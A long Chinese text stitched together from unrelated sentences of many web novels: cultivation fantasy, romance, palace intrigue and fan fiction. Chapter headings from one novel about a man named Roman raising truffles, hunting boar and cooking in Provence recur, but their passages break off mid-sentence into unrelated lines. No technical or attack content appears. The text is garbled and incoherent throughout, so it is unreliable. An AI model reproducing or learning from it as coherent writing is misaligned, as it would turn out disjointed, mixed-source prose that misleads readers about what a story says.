虽然已经步入初秋,但是榕城距海近,纬度又低,加上现在才下午两点多,日头正晒人的时候,不一会儿白翩然的俏脸就变得红彤彤的,汗水顺着脸颊滑下,她精心打扮的妆容因为汗水而破坏,毫无一丝美感。 “所以,我们去逛街吧,买点东西回家给爸妈,好不好?“叶空说道。 他冲了过来,一伸手就想要从秦韶的怀里将叶倾城夺过去。怎么会这样,这才多长时间,她就将自己弄的如此的惨兮兮的。 命中注定的戒指,似乎在指引着什么?是谁说过,冥冥中自有定数? “那凡界的赤月魔教是等天神下凡来应付么”东皇世离根本不关心神道与冥域之间的战争。 前一刻,他们还在欢欢喜喜的吃着烧烤,再更前一刻,他还亲自听到她说,她爱他。 虽然人人都知道圣隐两派之争,但是一向还算平和,都是私下里给对方下下绊子罢了,一直都没有在台面上如此的撕破脸过,而现在艾萨克此举,等于把圣隐两派的纷争给完全的明朗化了。 “这叫水下分娩。很多习水性的动物都愿意在水下分娩,这样能减轻分娩时的痛苦。至于你说的那个问题,不会发生。 “是。王上要求不仅是要告诉王后娘娘这些,他还令您现在就往赞花园一趟。他与静荷在那边等您。”覃瑶躬身回道。 肖白竺依然一动不动,她知道他在听,可是,她不明白,他为什么不给点表示?他在生她的气吗? “艾萨克,收尾做好了。接下来按计划行动吗?”恋走上前来,站到艾萨克的身边。 夜倾城听着许香香的那番话,心底莫名的有些感动,她竟一时之间不知道该如何回应她。 枪影重重叠叠,如同有一千杆枪同时刺出,雷声轰鸣,闪电球耀花了人眼。 前有杀手般的敌人招招毙命,后有米拉氏虎视眈眈。他明白,米拉氏之所以不出手,便是对这男人的功夫有着绝对的信心。只要他稍有疏忽,米拉氏定会在背后补上致命一刀。 她怀着身孕成亲,与她们相熟,她不会觉得难为情。可当着外人的面提及此事,她还是觉得有些难堪,羞愧的低下了头。 第618章 猪猪那么可爱,怎么能吃猪猪? 黑松露菌丝入土前有两个难题需要攻克——土壤透气性和土壤除菌。 在罗南的提醒和多次失败后,教授的团队通过碳和钙等元素的特性,设计出了稳定的大孔隙结构,让土壤透气性大大提升,不仅给菌丝提供了充足的氧气供应条件,排水能力也加强了。 土壤除菌的目的是控制有害微生物的生长,减少其他真菌或细菌在黑松 席曦晨蹙眉,不放弃继续试,力道一次比一次狠,突然感觉里面有一道力量在抵抗,想将钥匙往外推,她脾气一来释放了异能。 股市近日一直上涨,任剑上午独自跑了几处证券营业所,到所到之处一片欢腾景象。本来要带苏菡一起来,但她说上午有点很重要的私事,已经请了半天假,所以实在没办法。 对于大部分资质比较低的巫师学徒而言,魔药更是帮助他们提升实力突破瓶颈的关键。 史蒂芬刚刚露出来的一手能力恐怕很多高阶巫师都不一定可以办到,但现在保住贝蒂殿下才是最重要的,他已经不在乎暴露一点实力了。 当然,还有的人没有选择回来,他们继续往着更远的地方探寻去了。 几人眼看着那怪人爬上屋面,蹦跳腾跃,转瞬之间已经消失在他们的视野之中。 接着一个个拔出来了自己的武器,迎向了四面八方汹涌而来的魔虫大军。既然选择作为斥候参加这次行动,他们心中早就做好了面对这一刻的准备。 苏菡对周围发生的一切却似乎都浑然不觉,只是怔怔地想着自己的心事。陈志诚的话再度回荡在苏菡耳边,她开始紧张地思考着一个问题:自己到底能不能在这个圈子呆下去? 任剑仔细观察高明,发现他虽然说话多了,但条理却仍然很清晰,显然并没有糊涂。心里想这样不行,如果高明不醉,后面显然就没法继续诱供。见高明杯中只剩少许残酒,便又赶紧给他斟满。 龙洛道:“在下正是龙域龙洛”。齐靖道:“原来是龙域之人,恕我们失礼了,不过幽姬刚才说的太让人意外了,也不能只听你们的一面之词吧”。 眼看对方的拳风袭来,咫尺之间,刘星皓躲无可躲避无可避,难道今天这一亏就吃定了么? 都是民工打扮,正在喝着酒。不过很压抑的那种,不像吕玄他们喝酒时的大喊大叫,说笑不止。 “怎么,想劝我归顺巨灵神吗,不可能!”石蛟的话斩钉截铁,根本没有任何商量的余地。 钱多多本想随着吕玄的话说下去,当感觉不对时,怒气顿生,飞身抓住了吕玄的耳朵,厉声娇叱。 佛修一脉,领军人物非法宏莫属,一身强悍的佛法,正是魔修以及鬼修的克星,再加上他睿智的头脑,往往能以少胜多,克敌制胜。 “眦儿不得无礼!”老龙王喝道,但敖睚眦的攻击完全停不下来。 从大宋前往大理路途艰辛,好在阳云汉胯下“龙驹”宝马依旧神骏,驮着阳云汉一路跋山涉水。 双手一拍,紫电剑随即飞出,吕玄灵诀一引,飞身而上,一道流光消失在幽冥洞。 鬼魅虽恨不得奔上前去,打得他们满地找牙,无奈封印堵住气门,要等到揭去才可行动自如,只得硬生生将气吞下。因此,牛鼻子老道离世后不敢进地府,因为阴王早早地准备好十八层地狱迎接他们。 第619章 特殊狩猎集市 梅洛顺利入土,葡萄酒正在发酵中需耐心等待,罗南有了难得的喘息时机。 按照计划,这段时间是用来去和佐伊去‘度蜜月’的,这是早就安排好的事情。 但佐伊手头还有一些工作需要收尾,于是给罗南留下了几天自由活动的时间。 罗南想尝尝佐伊外祖母玛丽做的松露野猪肉肠,还想跟卢卡斯进山打猎,行程很快 绫木看着都杰,突然觉得这人好傻,一些微弱的残念又能做些什么?你与它说话,难道那残念还会给你反应不成? 她是云瑾最大的仇人,在生命的最后时刻,云瑾拼死也会拉她垫背。 他莫名觉得有点心慌和不安,眼前似乎已经浮现主管那张冷艳而刻薄的嘴脸,耳边也响起她那如被踩了尾巴野猫发出尖锐声音。 只有眼尖的人会发现,他们身上看似普通的衣着却均是出自名家之手,衣料舒适剪裁独到,一针一线均是手工亲手制作。 之后的时间,他们把崔斯特瑞姆镇上的怪物清扫一空,但没有找到迪卡凯恩。 拉扯中,房门突然被推开,陆在石冲了进来,一拳抡过去,将乔渤砸到地板上。 断臂之痛,本该是痛极的,然而云莹莹就呆站在那里,一动不动,嘴唇抿着,一个声调都发出来。 身形一晃,一记堪称无解的十字固彻底将她压制在地,宣告对练结束。 虽然这一次没有戴面具,但是云瑾不会认不出来,眼前的人就是当初在高速公路上袭击她和夜竹的那个面具男。 深吸一口气,玛莉好不容易将心底的火气压下,这才用尽可能平和的语气继续说道。 时溪朝看了眼摔在地上的盒子,南歌本身就是做设计的,经手的东西都很漂亮,就是个放礼物的盒子也做得精巧。 回到方舟之后,晨露继续控制方舟往南海行去,其余人却是一言不发,盘坐于地打坐调息,与之前谈笑风声相较,气氛极是尴尬。 谁能想到鼎鼎大名的王导竟然是个气管炎,不过这样一来事情就好办了。 “你……你不是哑巴?”楚风找了个落脚处,将怀中的天山童姥放下,脸上略带一丝丝讶异的揶揄。 任淼尴尬的看了一眼江俏耳,然后用眼神示意她,宫御臣说了才算。 “窃听器……”欧阳千珑瘫坐在地面上,也就是说,这些天她和欧阳炼发生的种种,都被这个男人知道了。 欧阳炼在心中叹了口气,只是这种自我介绍唯 独在这件教室里连一丝丝的回应都没有,致使他始终有着些许的落差。 衣服,落到了地上,难以置信的揉了揉眼睛后,楚羽慢慢的走到了湖水制成的镜子中,审视了起来,而映入眼前的,不再是他这个世界无比熟悉的狐狸模样。 另一边,李攸端着一杯酒,随意的靠在一架藤椅上,悠闲的看着眼前来来往往的人。鲜红的指甲有一下没一下的敲击着手里的高脚杯。 霍晟轩把导演一起叫去了自己的办公室,跟唐悦三人讨论这件事该怎么办。 其实武曌是完全可以越过初级佣兵考核而直接参加中级佣兵考核的,不过为了和几人一起行动,便也参加了进来。 除了存微山弟子外,其他别派遣来观礼之人被安排在存真殿前的左侧,其中除了邵珩迎接的丹鼎派一行人外,玉虚山、钟柳派、凌霄派、千机派、雷鸣寺、大衍寺以及一向神秘的慈云斋都同样有人前来。 第620章 挥金如土的罗南先生 罗南继续在枪支区域寻觅,很快被集市上的一把大热单品给吸引了。 这个摊位他和维埃里来回路过了两三次,每次都因为挤不进去而离开。 逛到最后,罗南想要返回某一个摊位买一把意大利的步枪,再一次路过这个帆布帐篷,见人稍微少了一些,便硬挤进去看了一眼。 没成想......这一眼便走不动道了。 袁天罡纵身一跃。人在半空,长臂一伸,竟将怪物的舌头一把抄在手里!紧接着,又在手中绕了几圈。 继那三道威力绝伦的雷劫之后,上空就再也没有雷电落下。似乎,是这些雷云已经彻底明白再强大的雷劫都根本伤害不了他。天空的黑云在混乱不安的动荡着,不断撞击出愤怒的霹雳声。 “你…你在找什么?”祁野捡起了自己衣服中的一件,一边努力地想遮挡自己,一边忍不住发问,但内容却不是那些自己一直想知道的事情中的任何一件,比如你为什么会说话,为什么来救我,还有那些关于上帝的事情。 “今夜子时和明日午时,由我一人施为,你们帮不上忙。”莫问摇头说道,子时和午时是两个最适合画符的时辰,在这两个时辰画写的符咒威力较大,且耗损灵气也能少一些。 见两人都同意了,叶墨笑呵呵的在前面带路,三人穿过舞池来到了舞台旁边的一个大包间。 “可是鲛人的下身明明是一个鱼尾,你怎么和人一样是两条腿?”李淳风问。 “师父,僵尸呢?”无名此时吓得要死,哪有心思听莫问讲道理。 一句话让刘诗语更是觉得火烫火烫的,被周尘拉着手向着她的闺房跑去,想到刚刚自己说的话,她忍不住用手拍了拍脸,自己怎么能那样不要脸。 “师父,上次相见,不得聊上几句便匆忙的离开,师父,你老人家这段时间过得还好吗”我非常关切的问道。 所以在尹天佑演唱的时候,她只好羞涩地低着头,尽量不让自己的眼神与尹天佑有任何的接触,以防自己的心事泄露出去,可她越是这样子,在尹天佑看来就越发的可爱。 “怎么回事?你不是在和诗韵那丫头交往吗?怎么闹这一出了?”叶爸爸的语气突然有些严肃的说。 此刻的他,已经没有理智再去想他想揍叶凯成这样胡闹的想法有没有可能成功了。看了看周围,徐佐言选择走到了红毯的末端,他要直接跟过去。 寒百陌望着眼前的偌大的花园也是神色微微有些变化,花期这么早就过了 ? 叶枫突然有有着一份直觉,那便是就算杨广得到长生诀能修炼成功,恐怕仍然是活不了太长的时间。不仅是他自己不允许,恐怕其他人也不会允许。 难道说,他这个名字是化名?人家都说才高八斗,他是自诩自己的才气很高喽。 李承欢越是这么说,他越是非想知道发生了什么不可!而且名誉帮主这种象征意义大于实权的名讳,既然已经在云霞寨开了头,再多一个也无妨!更何况,以后若是一笑府遇到什么事儿,出手帮忙也就名正言顺得多了。 不过,让夏洛和雀竹都没有想到的是,那个妞的禽兽,竟然在当天晚上,就把冯欣悦给睡了。这得是怎么样的手段?第二天早上醒来,冯欣悦的脸蛋上带着满足的笑容,竟然还是搂着段飞扬的胳膊出来了。 夏擎枫想必是甚为后悔当时的决定,说到此处神色黯然地收住了话头。 铁姑娘没有像往常一样豪气干云地回答,她眨了眨眼,警惕第道:怎么觉得有陷阱呢? 在许多人眼里,工作只是一种简单的雇佣关系,做多做少,做好做坏,对自己影响不大,质量,标准达到要求就行了。 其中不少学生对秦江威势更敬佩,之前只是学生间现在则全通杀。 袁秋华说:你抬头望望这天,是多么明净高洁,再抬脚跺跺这地,是多么宽广辽阔,再回头看看这人,是多么纯和敦厚。 韩船长对船的了解,就像c罗对足球的了解一样,光是一眼,便看出了个大概。 燃灯道人见对方不受威胁,怒火中烧,因为对方越是表现的誓死如归,反而越衬托的自己卑微无耻,燃灯道人催动七宝妙树就要杀了羽翼仙,紧要关头,突然住手。 邹老没理会在场众人的反应,只是转过头,看向沈浩的眼神中泛着泪花。 班主任说:他若能活到现在,我必定对他说,他这样想,错了,大错,特错,错得厉害。 有老朱带头,众人也不劳烦秦遥了,这一个个就自我介绍了起来了。 别说楚国华、就算几个治安队员也听的一愣一愣的,无比震撼看着秦江。 这船看起来很新,再结合热咖啡这些事来看,这艘东瀛船是最近来南海的? 当然宁萧天在老谋深算,秦飞也根本不怕,毕竟宁萧天的势力摆在这里,如果他想,随便一个手指头都能把宁萧天给捏死了。 萧默翊表现出了十足的恶意,英俊帅气的脸上,满是鄙夷加冷笑。 后 面的事情,也都是按照流程走,林峰拿出的合同也是满满的诚意,甚至比宁远预期还要好,林峰又伺机夸赞了一下宁远的厂子,当然主要是为了间接巴结秦飞的。 就像最开始琉璃试探性输出这道结界的时候,力量对抗时,还能听到干脆利落的撞击之声,而不是持续压迫加大力量之后的这股以柔克刚的太极打法了。 第621章 围猎野猪 没多久,叶凡又翻过身,林宝儿的粉嫩十指,从他的双肩开始,揉、捏、按、压、搓,尽最大努力让前者满意。 所以,不管这个唐随意是什么身份,龙霆琛既然接受了,那么他们龙家必定是和他一条战线的。 但面对茗香对金发青年的诋毁,他们都没有任何人为金发青年出头。 霍笙喜欢这么乖巧听话的苏若初,床头的灯开着,他低下头看到的是若初漂亮的侧面。 老毕听了又震惊了一次,每天5000听,工厂生意最好的时候都没那么多呢,接着心里面感叹,老板这是遇到了贵人呢,看起来工厂要飞黄腾达了。 一脸云淡风轻的邹律川也微微楞神了片刻,露出饶有兴致的微笑。 接下来维多利亚并没有再多说什么,而是带着众人上了二楼,随后来到了一间房间的门口,伸手敲了敲门。 唐玲珑一愣,顾子铭的话出乎她的意料,她疑惑地打量着顾子铭,觉得顾子铭变得她不认识。 其缠绕着叶凡的那条尤为更盛,伴随着时间的推移,它的耐心正逐渐被消磨殆尽。 林琅与白紫妍的元力相互交织,林琅眉头微皱,白紫妍额头满是细汗,衣裳几乎被汗水打湿。 原本,他加入凌云宗就是想要找机会返回中途神州,而他考虑的方式也有两个。 紧接着授勋仪式之后便是颁奖环节,这次内门试炼的竞争之所以如此激烈,便是因为这丰厚的奖励。 “没想到,本准备好心帮他们,结果却吃了闭门羹!”见此墨青衍耻笑了一声道。 当然,夏侯云可不会认为“剑城”的修为会在短时间内提升得如此过分,即便达到跟自己同级,也不敢如此无视自己的冰魂剑势。 深知不是陈天泽对手,白高勇尽管怒不可遏,但也不敢动手,撂下一句威胁,便负气而走。 杜依怜与杜大本就是不伦,只不过杜大后面觉得杜依怜不太听话,就干脆把这个玩具扔给四弟。 “你,你怎么不去抢?十颗天魔石,亏你想得出来!”尽管是做好了大出血的准备,万化魔君在听到君绝的开口后,还是倒抽了一口冷气。 二十万块她也能拿得出,没有这个经济条件,她也不会花钱购买这件礼服了,然而,用超出六七倍的价格来购买这件礼服,她是完全接受不了,自己又不是冤大头。 身为天山剑宗的外门长老,更是这次万剑大会的负责人,却做出这种事情,这让众人内心鄙夷不已,不过 ,忌于许长老的实力和身份,自然也没人敢说什么。 姬若龙心情大好,他想不出在这种情况下,凌霄还有逃走的可能性。 本源世界,天地规则更为牢固,想要御空飞行的话,最起码具备“育丹境”层次修为。 见他已走远,钟晴悄悄溜出房间。刚想施展轻功,却发现使不出内力,t,这家伙居然封了她的经脉,根本用不上力气。肿咩办?用走的?好,只能用走的了。 除此外,掌控者的寿元在诸天万界几乎长生不死,掌控之路还没有断裂前,诸天万界里的存在不少掌控者,只是……一夜之间,所有界面的掌控者都消失无踪了。 在军营转了一圈之后,李宁宇就返回了军营之外,随后他对一旁的警卫员张东说道:“那个协军校呢?死了没有!”。 “宥儿乖,你不叫,姐姐就陪你玩好不好?”她怎么觉得自己像老妈子。 比之杀戮剑意和毁灭剑意,这不朽剑意则更像是用来守护己身的。 没有你的提醒,我也不会注意到,城堡后会有一口井,盛放着神水。 “我来给你们浇点水吧。”伊尔卡斯星人看起来笨笨的拿起水壶给花浇水。 而传说中的先天修士却是能够吞云吐雾,移山填海,人们口中的“仙人”指得就是那些先天修士。 “老阳,你相信这上面所说的事吗?”赵若知若有所思的问道,从他的表情上看不出是相信还是不相信。 朱礼点点头:“再去请两个民间大夫悄悄的看看。若是再不行,就请钦天监的人来看看。”钦天监虽然没有神婆,不过却是一直负责占卜观星,堪舆风水的,想来若真是鬼神上的问题,交给钦天监倒是比交给神婆强。 …金夜炫,谢谢你刚才拦住了明一,就像你说的,黑风他不可能有完整的下半辈子,但是,法律,是对他最好的制裁。 整日板着脸的古陌勾起嘴角,让旁边的人都大为惊讶。难不成古大人也被解元公的风采折服了? 他们到了鹤泉湖的门口,买了门票,走进了大门。看到了坐落在鹤泉湖西南面的几个白色的大蒙古包,悠扬的草原乐曲从那里传来,令人有一种在大草原上的感觉。 “这话不是应该我问你们吗?”符八也笑嘻嘻的,看看她,又看看宋天衍。 “赵姑娘,明天见。”墨容沂含笑地看着她的背影,这样就不用担心在护送她回齐国的路上还要解释不清楚误会了。 于是他缓缓地抬起脸,手指轻抚 着我的下吧,眼神有些暧昧不明,却带着淡淡地苦笑,温柔地吻在我的唇边。 等去到皇宫的时候,已经是巳时三刻了。两人直接去了太后的寝宫,太后和皇帝已经在那里等着她们了。 沈杖天问了很多画,赵若知不理他,他又看齐冷寒,奇怪的是齐冷寒也不理他,这让他不禁苦笑,只好不再追问。 哪壶不开提哪壶,不谈这个还好,一谈这个,绍华更是觉得脑袋一扎一扎的疼,就因为这事儿,昨晚几乎一整夜都没有睡,就那么睁着眼睛看着天花板一整晚。 所以即便是太仓促了些,所以即便是有可能会让自己提前丢了性命,她也不在乎。因为她是将死之人,死人是不需要退路的。 若昂和若泽更加紧张了,他们前不久才刚把人家儿子揍了一顿,听说王妃很疼孩子,不知他们去了后院会不会为难。 第622章 这就是顶级‘猎人\’的天赋! “野猪是杂食动物,而且是聪明的杂食动物,什么食物容易获取、什么东西营养高它们就吃什么,在它们眼中,农田就是最容易获取还美味的自助餐!” 狩猎小队分成了好几个小组,从不同方向进入森林。 阿尔德安选择与罗南、维埃里和吉拉尼同行,为了能和‘马赛富商’熟络起来。 卢卡斯也同意了这个决定,让 伴随着一道电光,她就凭空跨越了三十余米的距离,再次现身的时候,人已经挂在了地下基地的天花板上。 再怎么说,王爷也是有爵位在身的人,身边多几个下人,是再正常不过的事情。 “咔咔咔”一阵脆响,哪怕饼干战士用盾牌防御,可还是无法抵御魔人的巨力,饼干战士接二连三被击碎。 只能和稀泥,你们想打凯多,我们支持,你们想议和,我们也支持。 江南不禁脸色一变,心底苦笑——东娴在乾道,而他降落在离道,两道中间隔着茫茫葬海……看来不是那么容易再相聚了。 贺迎抬头望了望天,头顶的密云仍然没有消散的迹象,此刻更是凝成了漩涡的形状。 这就意味着山王能源的股票涨势缓慢,庄家也不敢急速拉升,因为他吃的是散户,而不是罗非。 “难道你忘了,那晚,我用手,和我的唇,都一一临摹过的。”王爷的话中,好像充满了蛊惑的味道。 王晊没有回答。他不知道太子将要做什么,更不知道今夜的意外,会不会改变什么。 把两人一阵安抚,薇薇和一笑一人拿到一个“优”,理论考试的事就不了了之了。 董君临这才发觉不对路,也看到了她满裤子鲜血,吓得急忙松手。 不过之前的天地异象可是半个辰启大陆都是看见了!来的强者怎么会少? 可不断赶来的护卫似是认证了这一点,信徒们被远远的隔开,而且越隔越远,到了十七这天,已是连大门都看不到了。 这应该是驾驶员或者车长的本能反应,目的是为了防止被敌人定位。 这个时候,顾南风进来了,看到她拿着手机,脸色有点不妥,询问发生什么事情了。 一旦暴露现在的基金会网站只是个空壳组织,艾斯特还会是现在这种态度么? 这段时间,她先是被谷靖淑从中阻难,再然后因为身子不便,一直没能伺候上乔兴邦,在东院的位置十分尴尬,现在,只要谷靖淑喝了这杯茶。她的名分就定下了,在东 院,也有发言权了。 “这还不容易。”于少欢一副这都不是事的态度,把姜且混进去装样那一套说了一遍。 学过的心理学知识告诉他,这个时候出言反驳没有任何用处,像游危这种自我主义的人,是不会轻易因为别人而改变自己想法的。 牛氏一撇嘴:“东家的事情,能叫你知道?”她倒是没想,东家的事情宋好年还不晓得,宋好节咋就晓得哩。 林慕安突然开始咳嗽,似乎要把肺给咳出来了!脸色有些蜡黄,这一年的时间,他似乎又老了许多。 “唉,两个没良心的家伙,竟然不等我和他回来就离开。”下一刻,她一脸失落低喃。 “澜姐,我已经吩咐过佣人了,她们应该已经在上来的路上了。”柯安晏对范范的信任进度条未达到百分百,他不太放心让苏澜和范范独处。 所有人的目光都落在董先生手里的信上,他的眉头一点一点地皱起来,蒋忠全满心欢喜。 第623章 疯了三个 分头行动前,卢卡斯提醒过众人——这只野猪受了伤,脾气比醉醺醺的斗牛士还要暴躁,让大伙打起十二分的精神。 但谁能想到,它暴躁成了这幅样子? 噪音没有成功将其驱赶到断崖的方向,反而成为了它的攻击目标,密林远处地动山摇的声响提醒罗南等人——那只畜生向他们冲来了! 第一个反应过来的是吉拉尼 我好心好意救她,她要是真敢做出农夫与蛇的事儿,我可就不打算留手了。 想起颜楚说,他的房间里有摄像头,盛夏迅速钻回被褥里,腰更是酸痛的几乎不是自己的一般。 而那股特殊查克拉,在不同的情绪下,会形成不一样的瞳术,这也是‘万花筒’的名字由来。 扑打着苍蝇,把肉上抹了盐,然后分解成一块块,肉上有盐,那些苍蝇再不扑肉,开始去沾那些流出来的血。 盛夏也不知道表姐是怎么跟表姐夫说的,以她对表姐的了解,绝对不会直接说,帮她找一家能干得过叶家的婆家。 就在陈兴初畅游在知识的海洋中时,手下部落战士前来通报,说有客人来访。 “这个,实在不好意思,我明天还有事情!”楚清尘想了下,轻声拒绝道。 也是出了这件事情,明武帝才对柯铭离了心,便一直对柯铭有所提防。 李泰面无表情,还维持着一个上位者应该拥有的稳重,但其实内心已经慌得一批。 这个秘密一直被苏赛塔尼方面把持,也是在最近,我才是窥见了其中的一角。 亦阳的选择,可是相当丰富的。现在不是达菲求着波波维奇收下亦阳,而是有好几支球队,会为了亦阳而挤得头破血流。 “嫂子,你是不是睡迷糊了,我哥能在哪儿,不是在医院吗?你要是没休息好,就接着睡,放心吧,我妈和美娜都在呢!”他说道。 之前说的幻影马有点太张扬了,而且体型偏大,代步不错,可是给安妮做宠物就不适合了。 “如此厉害?怪不得她城门不设守卫。有这么厉害的东西,守卫都成了摆设。”血魔恍然大悟道。 大家都能看出云羌不高兴,可是他们这一行人里,安锦云说了,也只能这么做。 “来得好!”江东双手背在身后,他想要试验一下身体的抗击打能力,自从到了巅峰境还没有试炼过,况且漆家被称为两大邪恶势力之一,正好也可以好好感受一下不同寻常的道法招数。 “呜呜呜… …”耳畔呜呜风声,周围是一片迷蒙,仿佛进入了一片大雾区,若非那种强烈的下坠感,恐怕会让人一时忘记现在的处境。 梁雨朵笑了笑,转身朝着房间而去。回到房间之后的梁雨朵根本没有打电话,她不想让陈昊天认为和自己有未来,所以绝对不能让陈昊天知道自己的想法。 曾经那样一个可望却不可及的存在,曾经只能终日对着画像参拜、只能在心里默默对之祷告的、信仰一般的人物,如今如此真实地来到他们面前,不是传道授法,讲着的,却是比道法更加珍贵的、关于他与她的生活。 是吗?在这种时候昊天都没有陪在自己身边,那就说明昊天对自己真的不是那种感情,看来还是自己误会了。 这只巨大的傀儡四腿微微向下弯曲,纵身一跃,向着海面坠落下来。 “没什么不可能的,别忘了这是什么地方!”一侧天火宗少年罕见开口,扫了一眼落星辰消失的方向,径直转身,一晃之下消失不见。 第624章 野猪&黑松露大餐 根据本地法律规定,狩猎到的野猪需要先将整条舌头割下来送去检验,确认没有寄生虫或病毒后才可以自行食用或售卖,否则将会面临巨额罚款。 吕贝隆没有大型医院,通常情况下药房承担着检验职责,晚上从塔兹班回来,罗南立即给西森奥医生打电话,预定明天的检验时间。 让人遗憾的是,西森奥医生告诉罗南,卢尔马 郭浩东端着手机,久久没有放下,一副怅然若失的样子也挂在了脸上。 此二子,已曾供奉养护亿万恒河沙般的诸佛,亲近恭敬,在诸佛的住所接受秉持法华经,怜悯体恤偏见邪见的众生,灌输他们在正确的观念里。 九叔忽然就此泄去全部气势,委顿在地,一副被掏空的虚弱样子,喘着气浑身直冒虚汗。 法国人没有了继续比赛的心情,他们放弃了比赛。香港球员也没有了胜利的喜悦,默默离开了球场。所有球迷都开始哭泣着打电话给家人,开始预定回家的机票。 这是道心层次上面的交锋,无论你有什么逆天的手段,都帮不到什么忙。 “是与不是那是你自己的事情,我只需要好好的活下来就可以。”我也十分认真的回看着他。 “该不会是个傻子吧。”有渔民对李星以身饲鲨的壮举感到怀疑,认为李星救人的行为纯属误打误撞。 即时观世音菩萨怜悯体恤各四众,以及未来世界的人、龙、人非人等,接受其璎珞,分作二份,一份奉献释迦牟尼佛,一份奉献多宝佛塔。 徐长生的身影蠕动,化为一尊饕鬄神兽,无尽的吞噬法则,将面前向着他而来的星空洪流给吞噬的一干二净,一点残渣都是不剩下。 我知道这是打给李敬的,高新的一切都是由他在负责,我知道周故深的打算,我这一身伤总是需要一个合理的解释的。 苏扬自认自己绝不是什么好人,但因为自幼便与父母分离,这种家人的悲欢离合,他感受的太多,所以极为注重亲情。 向那大柱子上瞧去,上面缠绕数道铁链,铁链上绑缚的一人,眉清目秀,只是脸色过于苍白,闭着双眼,嘴唇干裂,胸前被血渍染红了一片,他低着头,一动不动,不知是死是活,正是白生。 “要是我知道了是谁,非要查出来不可。”显然,妹子也是不开心可。 但也就在这一瞬间,飞舟直接被掀翻,直接飞出上百里之遥才算是稳住,再看看飞舟本身,被损坏大半,差点尽毁,两大傀儡看着身后的一切,脸色煞 白,根本不知道发生了什么。 听到钱豹跑了,站在一边的李老七也着急了,虽然现在钱家最大的倚仗陈立山已经死了,但是钱豹逃走却凭空多了不少变数。 林子聪开门之后,也是一步跨进。林奕也是赶忙走了进去,但是下一秒,林奕差点跑了出来。因为林奕在外面闻到的那股味道,竟然是里面传出来的,而且在这里面,还更加浓郁,简直是让人头晕目眩,有些招架不住。 但是,要知道,瓦尔哈拉本身对附魔是没有涉猎的,尽管天空之塔有那么多珍藏,还有不少顶尖的附魔大师,但都和瓦尔哈拉本人无关。 由于易轩是以新人身份战胜一位具有十连斩称号的修士,所以下注的仙石便会加倍,玉符下角出现一排仙石数目的标记:三百三十九枚,除去原本的一百多枚仙石,给予易轩双倍的奖励。 第625章 恋爱模式+1 按理说这道蔓越莓香醋烤猪里脊应该算是一道主菜,却神奇的吃出了开胃菜的效果。 搭配新鲜蔓越莓和本地香醋烤制而成的猪里脊鲜嫩多汁,一点都不肥腻,淋在上面酸酸甜甜的酱料更是让人食指大动,不知不觉间又光了盘。 但今晚的主角野猪肉足足有十几斤,玛丽接连端出好几道不逊色于蔓越莓香醋烤猪里脊的美味佳肴 宁江的声音缓缓响起,在几个年轻人的耳中,这声音就像是催命的音符般。 其间那些飞龙起起落落,有的时候还故意兜着圈子,在它们终于将其他几个无人飞行器甩掉之后,这才向着一个方向不停的飞去。 宁江点了点头,这楚星魂给他的感觉的确不同,浑身上下的气息之浑厚,是他见过的同辈中最强的一个,即便是蛟龙一族的敖烈都不如此人。 一出河水,千夜雪大口喘气,这三个时辰的路程,是她这一辈子最惊心动魄的经历,河水之中,不断有绿毛爪子袭来,特别是到了后来的时候,他们脚底下的河床,都变作了无数的绿毛爪子。 白龙一时颇为惊诧,穿越前他就是个有点虚荣的人,现在就变成了有点虚荣的龙。 “好吧!是我不对,我会对你负责的。”林沐沨点了点头,真诚地说道。 而眼下需要宋明庭去支援的节点即便是在那数十处节点中也算重要,一旦被攻破,后果极其严重。 当然这不代表苏老爷没事,表面发现不了问题,说明他疾病隐藏得极深。 继续拖下去白河也有信心,随着时间的流逝,地盘的发展,他的力量只会越来越强。 凛的帐篷就在他的帐篷旁边,刚才陆少曦才帮她搭好。只是从昨晚起凛就跟在他身边一直没离开去,也没单独去休息睡觉。 双拳舞动如风,不断击打幽冥蛛母的金色身躯,直到李君屹整个身体全部没入幽冥蛛母的头部。 林格闻言,盯着洛鱼剑看了许久,被花锦囊的话所惊,修炼百瓣竟然可以化为刀枪剑戟,旋即他便当下心中念头,百瓣对于他尚还遥远,更何况眼前还有困境。 老龟见到才刚出门不久便再次返回的白鲤,不禁有些奇怪,刚想出声询问,便见白鲤神色严厉的朝他看了过来。 只是集结在班措湖附近的各方势力,明显都没有做好大战的准备,阴差阳错下,各方势力被迫提前暴露在舞台前。 白鲤点了点头,每一滴雨丝都是他的一抹精神触角,老寨中的一切都在他眼中,分毫 毕现,他也早就已经注意到了。 再看林逸手里捏着一张紫色符咒,这是五雷咒,对于阴煞邪鬼都具有极强的克制。 如今看着孙悟空对他提起,他心里不禁开始对孙悟空描述的全新世界充满了好奇。 而从魏三儿神魂中探查的消息,也让白鲤脸上的神色更加冰冷了起来。 乌黑柔顺的秀发披在背后,哪怕看不清容貌,光是这凹凸有致的身材,就足够让人联想翩翩。 “是吗?不说的话我可要杀人了,你们应该不会怀疑我的话。”唐锋笑道。 既然抠不下来,唐辰也就放弃了,感觉这能量晶核就是应该放进这银色铁片呢的。 这些人是不知道多少万年来地皇图所吞噬的生灵。他们和连菱的不同在于被这天地同化,已经没有了自我的意识,成为画中灵奴,只为这画中的神念所操控。 第626章 我爱奥运会! 别管最终的结局如何,罗南说通了莉亚和佐伊参加capet考试,再加上态度积极的巴蒂,这只卢尔马兰备考小队便这样成立了。 下一步是赶紧把名报了。 巴蒂只了解如何在普罗旺斯成为一名教授职业技能的老师。 如何报名,在哪里报名说不太清楚,一会说阿维尼翁,一会说马赛,似乎自己也不太确定。 毕竟又浪费时间,制造出来的战士又弱的掉渣,如果仅仅只是为了对方光之国,在他看来,根本就没那个必要。 黑风老妖被拎起来时脸色已经煞白,右脸上已经是个鲜红的巴掌印,口鼻血流不止,气息萎靡不振,显然被苏阳一巴掌打成了残血,魂魄都差点被打散了。 军师纪红鸾仍在打斗,左护法宁愿上前帮手,场外围观者嚷嚷着,为二人激烈的欢呼起哄。 蓬莱仙岛紫芝崖瞬刻间经历了冬夏,刚才还是夏天,下了一场轰轰烈烈的暴风雨,没有多久,蓬莱仙岛紫芝崖已经是冬天。 六年里,袁齐栋两耳不闻窗外事一心只做修仙事,跟着老神仙苦苦修炼。 她想告诉鸣人,我是你母亲的朋友,想说声抱歉,因为宇智波的境遇没能照顾到你。 瞻鹜却笑道:“每个门派都可以不争,但每个门派都不能没有不争之人。更何况与世无争那是俗事,世有不平武当自不会坐视不管。”“到底哪些是平,哪些是不平,你们依照什么而判断?”孟笑离反问道。 